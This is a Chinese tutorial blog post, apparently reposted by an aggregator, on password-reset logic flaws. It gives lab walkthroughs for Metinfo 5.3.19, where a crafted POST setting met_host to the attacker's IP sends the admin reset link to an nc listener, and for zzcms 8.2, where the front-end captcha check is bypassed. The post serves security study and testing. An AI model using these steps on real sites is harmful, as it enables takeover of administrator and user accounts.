密码重置漏洞

Posted 小羊爱学习.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了密码重置漏洞相关的知识,希望对你有一定的参考价值。

密码重置漏洞

概念

随着互联网的快速发展,在线支付业务的日渐成熟,大批的网上商城涌入互联网.为了方

便网上商城的快速上线,很多该类型的应用程序在未能严格审查源码的情况下就开始上线,导致很多逻辑错误类型的漏洞出现在应用程序中,而密码重置漏洞便是其中的一种。

漏洞位置在找回密码处,由于验证设计过于简单,而且对校验码的校验使用次数没有

进行限制,导致正确的验证码可以被枚举爆破,从而重置密码。此方法也是最常见的重置密

码的方式,因为大多数厂商最开始的设置都是采取的 4-6 位纯数字验证码的验证方式,而且是没有防止爆破的设计。

当然除了上述的由于验证不严格导致的密码重置案例,还有诸如:敏感信息泄露(把明

文密码通过 e-mail 发送给用户)重置密码消息劫持(攻击会者接收到密码重置信息)这些都是在密码重置功能中比较常见的漏洞

漏洞类型

 相关参考任意用户密码重置的10种姿势 | 阿德马Web安全 

漏洞测试

 

实践操作

操作二 Metinfo 5.3.19管理员密码重置漏洞

环境准备

  1. 操作系统:Windows 2003  kali linux
  2. 网站环境:UPUPW 5.3
  3. 使用工具:burpsuite 1.6 beta

漏洞分析

  1. 密码重置过程中验证不严。
  2. 漏洞涉及到的几个文件分别是:

admin/admin/getpassword.php

include/common.inc.php

include/jmail.php

include/export.func.php

3.具体的文章分析可参照:【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析 | h3h3da's Blog 

漏洞验证利用

1.在攻击机上使用nc进行端口监听

nc -lvvp 80

 

2.配置浏览器代理

3.利用Burp Suite或者其他工具构造出如下的HTTP请求

POST /admin/admin/getpassword.php?met_host=IP地址 HTTP/1.1

 4.点击“Go”发送请求数据,然后返回nc监听的主机,我们可以看到返回的响应信息,其中便包含着密码重置的链接。

 

 

5.将获取到的密码重置链接复制到浏览器中访问,即可重置管理员admin的密码口令。

 

 操作三 zzcms 8.2前台密码重置漏洞

环境准备

  1. 操作系统:Windows 2003
  2. 网站环境:UPUPW 5.3
  3. 使用工具:burpsuite 1.6 beta

漏洞分析

  1. 漏洞的原因是,程序是通过前端的代码来最终判断验证码是否正确,但是开发者却忽视了前端代码我们是可以控制的,因此可以绕过验证码,从而可以重置密码。
  2. 涉及到的漏洞代码文件:

ajax/ajax/yzm_check_ajax.php

  1. 可参考该文章

漏洞验证利用

1.首先注册一个普通用户test,密码为123456。

 

 

2.注册成功后,访问会员登录页面,点击“忘记密码”选项。

 

3.跳转到“找回密码”页面,按照提示输入我们想要重置账户名(test)

 4.进入第二步“进行安全验证”随意填写一个验证码,例如1234等等,确保输入后点击

下一步一定要快,在出现下方红色的警告前,点击下一步,可绕过验证,进入到重置密码界面。

 

5.按照提示输入新密码,便可重置test账户的密码口令。

 

 

https://pino-hd.github.io/2018/06/19/zzcms8-2%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE/  

https://bbs.ichunqiu.com/thread-35237-1-1.html

 

以上是关于密码重置漏洞的主要内容,如果未能解决你的问题,请参考以下文章

密码重置漏洞

逻辑漏洞之任意账号密码重置总结

任意用户密码重置:重置凭证未校验

任意用户密码重置:重置凭证可暴破

某平台后台系统存在任意账号密码重置漏洞

某平台后台系统存在任意账号密码重置漏洞